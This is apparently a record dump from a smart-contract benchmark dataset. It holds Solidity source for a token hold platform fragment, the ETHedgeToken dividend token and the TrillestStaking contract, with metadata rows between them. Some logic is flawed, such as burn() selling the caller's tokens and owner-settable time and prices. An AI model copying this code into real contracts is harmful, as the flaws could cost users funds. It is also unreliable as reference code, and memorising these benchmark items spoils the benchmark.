ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount);
Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount);
Statistics[user][tokenAddress][3] = 0;
Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
Bigdata[tokenAddress][13]++;
emit onAffiliateBonus(msg.sender, tokenAddress, ContractSymbol[tokenAddress], amount, now);
Airdrop(user, tokenAddress, amount, 3);
}
function AddContractAddress(address tokenAddress, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted {
require(_PercentPermonth >= 3 && _PercentPermonth <= 12);
require(_maxcontribution >= 10000000000000000000000000);
Bigdata[tokenAddress][1] = _PercentPermonth;
ContractSymbol[tokenAddress] = _ContractSymbol;
Bigdata[tokenAddress][5] = _maxcontribution;
uint256 _HodlingTime = mul(div(72, _PercentPermonth), 30);
uint256 HodlTime = _HodlingTime * 1 days;
Bigdata[tokenAddress][2] = HodlTime;
contractaddress[tokenAddress] = true;
}
function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ETHprice) public restricted {
if (Currentprice > 0) { Bigdata[tokenAddress][14] = Currentprice; }
if (ETHprice > 0) { Bigdata[tokenAddress][17] = ETHprice; }
}
function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider1, uint256 HPM_divider2, uint256 HPM_divider3) public restricted {
Holdplatform_status[tokenAddress] = HPM_status;
Holdplatform_divider[tokenAddress][1] = HPM_divider1;
Holdplatform_divider[tokenAddress][2] = HPM_divider2;
Holdplatform_divider[tokenAddress][3] = HPM_divider3;
}
function Holdplatform_Deposit(uint256 amount) restricted public {
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.transferFrom(msg.sender, address(this), amount));
uint256 newbalance = add(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
}
function Holdplatform_Withdraw() restricted public {
ERC20Interface token = ERC20Interface(Holdplatform_address);
token.transfer(msg.sender, Holdplatform_balance);
Holdplatform_balance = 0;
}
function updatenowtime(uint256 _nowtime) public restricted {
nowtime = _nowtime;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Interface {
uint256 public totalSupply;
uint256 public decimals;
function symbol() public view returns (string);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| 165,210 | 173 |
78dd0d3b79d1a3afc15332e399cdd87c0d63e0d1c265b97668d5c7a0284f516f
| 18,148 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xfc81655585f2f3935895c1409b332ab797d90b33.sol
| 4,659 | 17,312 |
pragma solidity ^0.4.25;
contract ETHedgeToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
modifier onlyOwner{
require(msg.sender == owner_, "Only owner can do this!");
_;
}
event onPayDividends(uint256 incomingDividends,
string sourceDescription,
address indexed customerAddress,
uint timestamp);
event onBurn(uint256 DividentsFromNulled,
address indexed customerAddress,
address indexed senderAddress,
uint timestamp);
event onNewRefferal(address indexed userAddress,
address indexed refferedByAddress,
uint timestamp);
event Approval(address indexed tokenOwner,
address indexed spender,
uint tokens);
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "ETH hedge token";
string public symbol = "EHT";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 22;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 3;
uint8 constant internal refferalFee_ = 15;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => address) internal refferals_;
mapping(address => mapping (address => uint256)) allowed_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
address private owner_=msg.sender;
mapping(address => uint256) internal lastupdate_;
uint private constant timePassive_ = 365 days;
uint8 constant internal entryFeeCapital_ = 15;
uint8 constant internal entryFeeReward_ = 2;
address public capital_=msg.sender;
address private adminReward_=msg.sender;
uint256 public capitalAmount_;
uint256 public AdminRewardAmount_;
function transferOwnership(address _newOwner) public onlyOwner{
require(_newOwner != address(0));
owner_ = _newOwner;
}
function changeOuts(address _newCapital, address _newReward) public onlyOwner{
require(_newCapital != address(0) && _newReward != 0x0);
capital_ = _newCapital;
adminReward_ = _newReward;
}
function payDividends(string _sourceDesc) public payable {
payDivsValue(msg.value,_sourceDesc);
}
function payDivsValue(uint256 _amountOfDivs,string _sourceDesc) internal {
address _customerAddress = msg.sender;
uint256 _dividends = _amountOfDivs;
if (tokenSupply_ > 0) {
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
}
emit onPayDividends(_dividends,_sourceDesc,_customerAddress,now);
}
function burn(address _checkForInactive) public {
address _customerAddress = _checkForInactive;
require(lastupdate_[_customerAddress]!=0 && now >= SafeMath.add(lastupdate_[_customerAddress],timePassive_), "This account cant be nulled!");
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
uint256 _dividends = dividendsOf(_customerAddress);
_dividends += referralBalance_[_customerAddress];
payDivsValue(_dividends,'Burn coins');
delete tokenBalanceLedger_[_customerAddress];
delete referralBalance_[_customerAddress];
delete payoutsTo_[_customerAddress];
delete lastupdate_[_customerAddress];
emit onBurn(_dividends,_customerAddress,msg.sender,now);
}
function takeCapital() public{
require(capitalAmount_>0 && AdminRewardAmount_>0, "No fundz, sorry!");
capital_.transfer(capitalAmount_);
adminReward_.transfer(AdminRewardAmount_);
capitalAmount_=0;
AdminRewardAmount_=0;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed_[_from][msg.sender];
require(tokenBalanceLedger_[_from] >= _value && allowance >= _value);
tokenBalanceLedger_[_to] =SafeMath.add(tokenBalanceLedger_[_to],_value);
tokenBalanceLedger_[_from] = SafeMath.sub(tokenBalanceLedger_[_from],_value);
allowed_[_from][msg.sender] = SafeMath.sub(allowed_[_from][msg.sender],_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed_[_owner][_spender];
}
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
if (msg.value == 1e10) {
reinvest();
}
else if (msg.value == 2e10) {
withdraw();
}
else if (msg.value == 3e10) {
exit();
}
else {
purchaseTokens(msg.value, 0x0);
}
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
if (_amountOfTokens>stakingRequirement) {
lastupdate_[_toAddress] = now;
}
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function refferedBy(address _customerAddress) public view returns (address) {
return refferals_[_customerAddress];
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_-entryFeeCapital_-entryFeeReward_), 100);
uint256 _capitalTrade = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFeeCapital_), 100);
uint256 _adminReward = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFeeReward_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(SafeMath.sub(_incomingEthereum, _undividedDividends),_capitalTrade),_adminReward);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement &&
refferals_[_customerAddress] == 0x0) {
refferals_[_customerAddress] = _referredBy;
emit onNewRefferal(_customerAddress,_referredBy, now);
}
if (refferals_[_customerAddress] != 0x0 &&
tokenBalanceLedger_[refferals_[_customerAddress]] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
capitalAmount_=SafeMath.add(capitalAmount_,_capitalTrade);
AdminRewardAmount_=SafeMath.add(AdminRewardAmount_,_adminReward);
if (capitalAmount_>1e17){
takeCapital();
}
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 164,928 | 174 |
0a87b9f034016aafb33810ac7e5310714b38c73305d096657d0c06a6ddeb5e21
| 26,036 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/2b/2bcb76cd994af5d185d8bef55595571d29da0a83_TrillestStaking.sol
| 4,409 | 17,645 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface IsTrillest is IERC20 {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TrillestStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for IsTrillest;
IERC20 public immutable Trillest;
IsTrillest public immutable sTRILL;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 sTrillAmount, uint256 trillestAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _Trillest,
address _sTRILL,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Trillest != address(0));
Trillest = IERC20(_Trillest);
require(_sTRILL != address(0));
sTRILL = IsTrillest(_sTRILL);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
Trillest.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(sTRILL.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
sTRILL.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim (address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = sTRILL.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint strillBalance = sTRILL.balanceForGons(info.gons);
warmupContract.retrieve(address(this), strillBalance);
Trillest.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, strillBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
sTRILL.safeTransferFrom(msg.sender, address(this), _amount);
Trillest.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return sTRILL.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
sTRILL.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute();
}
uint balance = contractBalance();
uint staked = sTRILL.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return Trillest.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
